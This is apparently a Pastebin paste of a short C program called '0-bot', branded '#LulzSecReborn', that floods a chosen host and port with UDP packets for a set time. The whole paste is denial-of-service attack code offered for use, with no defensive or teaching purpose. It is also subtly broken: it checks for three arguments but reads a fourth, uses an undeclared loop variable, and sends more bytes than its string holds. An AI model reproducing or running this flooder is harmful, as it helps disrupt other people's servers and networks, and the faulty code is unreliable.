AnonZor

0-bot

Nov 19th, 2016 (edited)
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.26 KB | None | 0 0
  1. #define LULZ_STRING "#LulzSecReborn"
  2. #define LULZ_SIZE 1024
  3. #define LULZ_BW 1024 * 10000
  4.  
  5. #include <stdio.h>
  6. #include <sys/param.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9. #include <netdb.h>
  10. #include <stdarg.h>
  11.  
  12. int echo_connect(char *, short);
  13.  
  14. int echo_connect(char *server, short port)
  15. {
  16. struct sockaddr_in sin;
  17. struct hostent *hp;
  18. int thesock;
  19. hp = gethostbyname(server);
  20. if (hp==NULL) {
  21. printf("Unknown host: %s\n",server);
  22. exit(0);
  23. }
  24. printf("Packeting %s:%d\n ", server, port);
  25. bzero((char*) &sin,sizeof(sin));
  26. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  27. sin.sin_family = hp->h_addrtype;
  28. sin.sin_port = htons(port);
  29. thesock = socket(AF_INET, SOCK_DGRAM, 0);
  30. connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
  31. return thesock;
  32. }
  33.  
  34.  
  35. main(int argc, char **argv)
  36. {
  37. int s;
  38. if(argc != 3)
  39. {
  40. fprintf(stderr, "[0-BOT] Syntax: %s host port time\n",argv[0]);
  41. exit(0);
  42. }
  43. s=echo_connect(argv[1], atoi(argv[2]));
  44. int timeEnd = atoi(argv[3]);
  45. while(timeEnd--)
  46. {
  47. for(i = 0;i<LULZ_BW;i++)
  48. {
  49. send(s, LULZ_STRING, LULZ_SIZE, 0);
  50. }
  51. usleep(1);
  52. fprintf(stdout, "Mb/ps: %d\n", LULZ_BW);
  53. }
  54. }
Advertisement
Add Comment
Please, Sign In to add comment